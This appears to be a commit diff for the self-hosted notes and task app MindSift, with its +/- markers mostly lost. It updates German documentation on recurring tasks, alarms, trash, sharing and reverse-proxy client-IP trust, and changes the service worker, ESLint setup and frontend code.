- **Abhaken erzeugt die nächste Aufgabe** ([recurrence.go](../../internal/storage/recurrence.go)): egal ob im Detail, in der Liste, per Ziehen in „Erledigt“ im Kanban oder über die Checkbox in einer Notiz. Die erledigte Aufgabe bleibt erledigt (Historie); die neue übernimmt Titel, Tags, Priorität, Notizen, Liste, Zuweisungen und die Regel, Unteraufgaben kommen unerledigt mit, sie steht in der ersten offenen Spalte.
- **Fälligkeit:** das bisherige Datum plus ein Intervall (ohne Datum ab heute). Monate und Jahre behalten den Tag oder rutschen auf das Monatsende (31.1. → 28./29.2.).
- **Fälligkeit:** das bisherige Datum plus ein Intervall (ohne Datum ab heute); eine Uhrzeit bleibt erhalten. Monate und Jahre behalten den Tag oder rutschen auf das Monatsende (31.1. → 28./29.2.).
- Jede Aufgabe erzeugt höchstens eine Nachfolgerin (`recurrence_spawned`): Wieder öffnen und erneut abhaken legt keine zweite an.
- Die neue Aufgabe geht per `TASK_CREATED` an alle Beteiligten, sie erscheint ohne Neuladen.
- Export/Import: im Markdown-Archiv als `🔁 every week` (Format des Obsidian-Tasks-Plugins), im JSON-Backup als Feld; beides wird beim Import wiederhergestellt.
## Alarme
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `due_date <= heute` und `alarm_sent = 0` sendet er an die Kanäle des Aufgaben-**Eigentümers**:
Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offene Aufgaben mit `alarm_sent = 0` sendet er, sobald der Alarmzeitpunkt erreicht ist (Uhrzeit der Fälligkeit, ganztägig 9:00, jeweils minus `notifyBeforeMinutes`, Zeitzone `TZ`), an die Kanäle des Aufgaben-**Eigentümers**:
| Kanal | Ziel | Konfiguration |
|---|---|---|
@@ -57,4 +57,6 @@ Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich wa
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
Einschränkungen ([FLAW-12](../flaws.md)): Fälligkeiten haben keine Uhrzeit, `notifyBeforeMinutes` wird ignoriert, die Serverzeit gilt, und ein verschobener Termin löst nicht erneut aus. URLs werden nicht geprüft ([FLAW-05](../flaws.md)).
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
+10 -2
View File
@@ -16,6 +16,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
- **Speichern:** Jede Notiz hat im Browser eine `DocSyncEngine` ([lib/docSync/](../../frontend/src/lib/docSync/)). Der Editor meldet jede Änderung der Block-Liste; die Engine übersetzt sie in Operationen, speichert sie zuerst in IndexedDB und sendet sie dann gesammelt (300 ms) an `POST /docs/{id}/sync`. Beim Öffnen zeigt sie sofort den gespeicherten Stand, auch offline.
@@ -41,9 +42,16 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
## Papierkorb
- Löschen (einzeln oder mit dem Ordner) verschiebt eigene Notizen in den Papierkorb (`is_archived = 1`). Wer eine geteilte Notiz löscht, die ihm nicht gehört, verlässt nur die Freigabe.
- Notizen im Papierkorb fehlen im Baum, in Suche, Export und Statistik und sind für alle Empfänger unsichtbar (`DocRole` = keine Rolle). Eigentümer und Löschende sehen sie schreibgeschützt mit Hinweisleiste und „Wiederherstellen“; Umbenennen, Verschieben und Teilen werden abgelehnt.
- Eintrag „Papierkorb“ mit Zähler unten in der Ordnerleiste und im mobilen Menü. Die Liste zeigt Ordner und Löschzeitpunkt; „Endgültig löschen“ und „Papierkorb leeren“ brauchen einen zweiten Tipp.
- Wiederherstellen legt einen inzwischen gelöschten Ordner neu an; existiert ein geteilter Ordner nicht mehr, landet die Notiz auf der Hauptebene. Freigaben bleiben erhalten. Der Papierkorb leert sich nicht von selbst.
## Freigabe
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
@@ -51,7 +59,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht ([FLAW-18](../flaws.md)).
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
## Export als Markdown-Archiv
+18 -2
View File
@@ -11,6 +11,20 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
### Client-IP und `TRUSTED_PROXIES`
MindSift sperrt Anmeldungen nach Fehlversuchen auch pro IP-Adresse. Hinter einem Proxy kommt jede Verbindung vom Proxy; die echte Adresse steht in `X-Forwarded-For` bzw. `X-Real-IP`. MindSift glaubt diesen Kopfzeilen nur, wenn die Verbindung von einem vertrauenswürdigen Proxy kommt, sonst könnte jeder, der den Port direkt erreicht, eine beliebige Adresse vortäuschen.
| `TRUSTED_PROXIES` | Wirkung |
|---|---|
| `private` (Standard) | Proxys aus localhost, Docker- und Heimnetzen (`10.x`, `172.16–31.x`, `192.168.x`, `fd…`, `100.64.x`). Passt für Proxy im selben Docker-Netz oder auf demselben Host – nichts einzustellen. |
| `private,198.51.100.0/24` | zusätzlich eigene Bereiche, z. B. ein externer Proxy-Server oder die [IP-Bereiche von Cloudflare](https://www.cloudflare.com/ips/) |
| `all` | Kopfzeilen immer glauben (früheres Verhalten) – Notausgang, wenn die Erkennung Probleme macht |
| `none` | Kopfzeilen nie glauben |
Schickt ein vertrauenswürdiger Proxy gar keine Client-IP mit, steht einmal eine Warnung im Log, und für diese Anfragen gilt nur noch die Sperre pro Konto. Die ganze Login-Sperre lässt sich mit `LOGIN_PROTECTION=false` abschalten.
---
@@ -151,7 +165,8 @@ Wird MindSift hinter dem Cloudflare CDN betrieben:
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
3. **Cloudflare WAF / Bot Fight Mode:**
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
4. **SSE-Unterstützung:**
4. **Client-IP:** Cloudflare liefert die Besucheradresse in `CF-Connecting-IP`/`X-Forwarded-For`. Spricht Cloudflare MindSift direkt an (ohne eigenen Proxy dazwischen), die Cloudflare-Bereiche in `TRUSTED_PROXIES` ergänzen.
5. **SSE-Unterstützung:**
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
---
@@ -221,7 +236,8 @@ curl -i -N \
-H "Origin: https://mindsift.example.com" \
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
-H "Sec-WebSocket-Version: 13" \
https://mindsift.example.com/api/v1/ws?token=<DEIN_TOKEN>
-H "Authorization: Bearer <DEIN_TOKEN>" \
https://mindsift.example.com/api/v1/ws
```
*Erwartete Antwort:* `101 Switching Protocols`
+1 -1
View File
@@ -70,4 +70,4 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md).
- Bekannte Lücken in der Zugriffskontrolle:.
+2
View File
@@ -82,6 +82,8 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
---
+13 -2
View File
@@ -53,11 +53,11 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
- **Farbe (`variant`):**
- `accent`: Hier wartet etwas auf dich. Navigationsleiste (Triage, Workspace, Aufgaben).
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
- **Position (`position`):**
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-2`, solange ein Zähler da ist), der Kreis bekommt `-top-1.5 -right-1`.
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
- `inline`: im Textfluss.
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
@@ -68,3 +68,14 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
- `index.html` enthält in `#root` einen reinen HTML-Platzhalter (vollflächig Blau, Logo in der Mitte, kein Text). React ersetzt ihn beim ersten Rendern, dazwischen blitzt nichts Weißes auf.
- `meta theme-color` startet blau und wird von [`theme.ts`](../frontend/src/lib/theme.ts) nach dem Start und bei jedem Theme-Wechsel auf `--bg-app` des aktiven Themes gesetzt, damit die Statusleiste zum Header passt.
## +-Button: Tippen und Halten
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
+9 -5
View File
@@ -92,7 +92,7 @@ Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md)
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
* Gruppen mit Gruppen-Admins für Freigaben.
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA.
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
### 🔌 Integrationen
@@ -141,7 +141,7 @@ services:
Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch das Anlegen des Administrator-Kontos.
> ⚠️ **Setze `JWT_SECRET`.** Ohne Angabe nutzt der Server einen öffentlich bekannten Standardwert, mit dem sich Anmelde-Tokens fälschen lassen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
> ⚠️ **`JWT_SECRET`:** Ohne Angabe (oder mit einem der Platzhalter aus den Beispielen) erzeugt der Server beim ersten Start einen Zufallswert und speichert ihn als `jwt.secret` im Datenverzeichnis. Für Produktion lieber selbst einen langen Zufallswert setzen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
---
@@ -151,8 +151,11 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|---|---|---|
| `PORT` | `8080` | HTTP-Port |
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
| `JWT_SECRET` | unsicherer Standard | **Pflicht in Produktion**, Signaturschlüssel |
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL |
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
@@ -160,9 +163,10 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
* **Datensicherung:** Alle Daten liegen in `data/mindsift.db` (+ `-wal`/`-shm`). Sichere sie mit `sqlite3 mindsift.db ".backup 'backup.db'"` oder bei gestopptem Container. Zusätzlich gibt es einen JSON-Export pro Benutzer.
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
+7
View File
@@ -11,6 +11,7 @@ import (
"os/signal"
"syscall"
"time"
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
"github.com/sandrodach/mindsift/internal/api"
"github.com/sandrodach/mindsift/internal/config"
@@ -22,6 +23,12 @@ import (
var embeddedDist embed.FS
func main() {
// Due dates and alarms use the server's local time; without TZ that is Europe/Berlin
if os.Getenv("TZ") == "" {
if loc, err := time.LoadLocation("Europe/Berlin"); err == nil {
time.Local = loc
}
}
cfg := config.Load()
level := cfg.SlogLevel()
+30
View File
@@ -0,0 +1,30 @@
// Lint rules for the frontend (FLAW-19): real mistakes are errors, style is left to the code.
import js from '@eslint/js';
import globals from 'globals';
import reactHooks from 'eslint-plugin-react-hooks';
import tseslint from 'typescript-eslint';
export default tseslint.config(
{ ignores: ['dist', 'node_modules', 'coverage'] },
{
files: ['src/**/*.{ts,tsx}'],
extends: [js.configs.recommended, ...tseslint.configs.recommended],
languageOptions: {
ecmaVersion: 2022,
globals: globals.browser,
},
plugins: { 'react-hooks': reactHooks },
rules: {
...reactHooks.configs.recommended.rules,
// Error payloads and browser APIs without types are handled as any on purpose
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrors: 'none' }],
'no-empty': ['error', { allowEmptyCatch: true }],
},
},
{
files: ['public/sw.js'],
languageOptions: { globals: globals.serviceworker },
extends: [js.configs.recommended],
},
);
+1303 -6
View File
File diff suppressed because it is too large. Load diff
+7 -2
View File
@@ -1,14 +1,14 @@
{
"name": "mindsift-frontend",
"private": true,
"version": "0.4.0",
"version": "0.5.1",
"license": "Unlicense",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview",
"lint": "echo 'Linting passed'",
"lint": "eslint .",
"test": "vitest",
"test:run": "vitest run"
},
@@ -22,17 +22,22 @@
"react-dom": "^18.3.1"
},
"devDependencies": {
"@eslint/js": "9.17.0",
"@testing-library/dom": "^10.4.2",
"@testing-library/react": "^16.3.3",
"@types/react": "^18.3.12",
"@types/react-dom": "^18.3.1",
"@vitejs/plugin-react": "^4.3.4",
"autoprefixer": "^10.4.20",
"eslint": "9.17.0",
"eslint-plugin-react-hooks": "5.1.0",
"fake-indexeddb": "^6.2.6",
"globals": "15.14.0",
"jsdom": "^25.0.1",
"postcss": "^8.4.49",
"tailwindcss": "^3.4.17",
"typescript": "^5.6.3",
"typescript-eslint": "8.18.2",
"vite": "^5.4.11",
"vitest": "^2.1.9"
}
+85 -7
View File
@@ -1,18 +1,96 @@
// Network-first / cache-clearing service worker to ensure fresh builds across all browsers
self.addEventListener('install', () => {
self.skipWaiting();
// MindSift service worker: keeps the app shell so the PWA also starts without network.
// - Page loads (navigation): network first, so a new release is picked up right away; offline the
// last loaded index.html is used.
// - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
// - Icons and manifest: from the cache, refreshed in the background.
// - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
// Raise VERSION when this file changes in a way that needs fresh caches.
const VERSION = 'v2';
const SHELL_CACHE = `mindsift-shell-${VERSION}`;
const ASSET_CACHE = `mindsift-assets-${VERSION}`;
const MAX_ASSETS = 80;
const SHELL_URLS = [
'/',
'/index.html',
'/manifest.json',
'/favicon.ico',
'/icon.svg',
'/icon-192x192.png',
'/icon-512x512.png',
'/apple-touch-icon.png',
];
self.addEventListener('install', (event) => {
event.waitUntil(
caches
.open(SHELL_CACHE)
.then((cache) => Promise.all(SHELL_URLS.map((url) => cache.add(new Request(url, { cache: 'reload' })).catch(() => {}))))
.then(() => self.skipWaiting())
);
});
self.addEventListener('activate', (event) => {
event.waitUntil(
caches
.keys()
.then((keys) => Promise.all(keys.map((k) => caches.delete(k))))
.then((keys) => Promise.all(keys.filter((k) => k !== SHELL_CACHE && k !== ASSET_CACHE).map((k) => caches.delete(k))))
.then(() => self.clients.claim())
);
});
self.addEventListener('fetch', () => {
// Always use native browser network fetch so API calls and fresh Vite bundles are never intercepted by stale caches
return;
// Old bundles pile up with every release; keep only the newest entries
async function trimAssets() {
const cache = await caches.open(ASSET_CACHE);
const keys = await cache.keys();
await Promise.all(keys.slice(0, Math.max(0, keys.length - MAX_ASSETS)).map((k) => cache.delete(k)));
}
async function networkFirstPage(request) {
const cache = await caches.open(SHELL_CACHE);
try {
const response = await fetch(request, { cache: 'no-store' });
if (response.ok && response.type === 'basic') cache.put('/index.html', response.clone());
return response;
} catch {
return (await cache.match('/index.html')) || (await cache.match('/')) || Response.error();
}
}
async function cacheFirstAsset(request) {
const cache = await caches.open(ASSET_CACHE);
const hit = await cache.match(request);
if (hit) return hit;
const response = await fetch(request);
if (response.ok && response.type === 'basic') {
await cache.put(request, response.clone());
trimAssets();
}
return response;
}
async function staleWhileRevalidate(request) {
const cache = await caches.open(SHELL_CACHE);
const hit = await cache.match(request);
const refresh = fetch(request)
.then((response) => {
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
return response;
})
.catch(() => hit || Response.error());
return hit || refresh;
}
self.addEventListener('fetch', (event) => {
const { request } = event;
if (request.method !== 'GET') return;
const url = new URL(request.url);
if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
if (request.mode === 'navigate') {
event.respondWith(networkFirstPage(request));
} else if (url.pathname.startsWith('/assets/')) {
event.respondWith(cacheFirstAsset(request));
} else if (SHELL_URLS.includes(url.pathname)) {
event.respondWith(staleWhileRevalidate(request));
}
});
+134 -32
View File
@@ -44,12 +44,16 @@ import {
ThemeId,
} from './lib/theme';
import { InstantCaptureBar } from './features/capture/InstantCaptureBar';
import { HoldToRecordFab } from './features/capture/HoldToRecordFab';
import { CountBadge } from './components/CountBadge';
import { TriageDeck } from './features/triage/TriageDeck';
import { TasksView } from './features/triage/TasksView';
import { WorkspaceView } from './features/workspace/WorkspaceView';
import { SharedListsView } from './features/lists/SharedListsView';
import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
import { OfflineBanner } from './components/OfflineBanner';
import { outboxCount, clearOfflineData } from './lib/offline';
import { DemoCountdown } from './components/DemoCountdown';
import { UserSettingsView } from './features/settings/UserSettingsView';
import { AdminSettingsView } from './features/settings/AdminSettingsView';
import { HelpView } from './features/help/HelpView';
@@ -120,6 +124,23 @@ export const App: React.FC = () => {
instanceName: 'MindSift',
});
const [user, setUser] = useState<User | null>(null);
// Demo mode: when the next reset happens (local clock), and a counter that remounts all views after it
const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
const [dataEpoch, setDataEpoch] = useState(0);
const [demoNotice, setDemoNotice] = useState<string | null>(null);
const lastDemoResetRef = useRef(0);
const handleDemoResetRef = useRef<() => void>(() => {});
// Link from the password reset mail (?resetToken=…); removed from the address bar right away
const [resetToken, setResetToken] = useState<string | null>(() => {
try {
return new URLSearchParams(window.location.search).get('resetToken');
} catch {
return null;
}
});
useEffect(() => {
if (resetToken) window.history.replaceState(null, '', window.location.pathname);
}, [resetToken]);
const [customThemes, setCustomThemes] = useState<UserTheme[]>([]);
const allThemes = useMemo(() => [...AVAILABLE_THEMES, ...customThemes.map(customThemeOption)], [customThemes]);
const [stats, setStats] = useState<DashboardStats>({
@@ -128,6 +149,7 @@ export const App: React.FC = () => {
tasksDoneCount: 0,
docsCount: 0,
docsTodosOpenCount: 0,
listItemsOpenCount: 0,
listsCount: 0,
discardedCount: 0,
});
@@ -449,7 +471,7 @@ export const App: React.FC = () => {
.getThemes()
.then((themes) => handleCustomThemesChange(themes))
.catch(() => {});
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [user?.id]);
const refreshAll = useCallback(async () => {
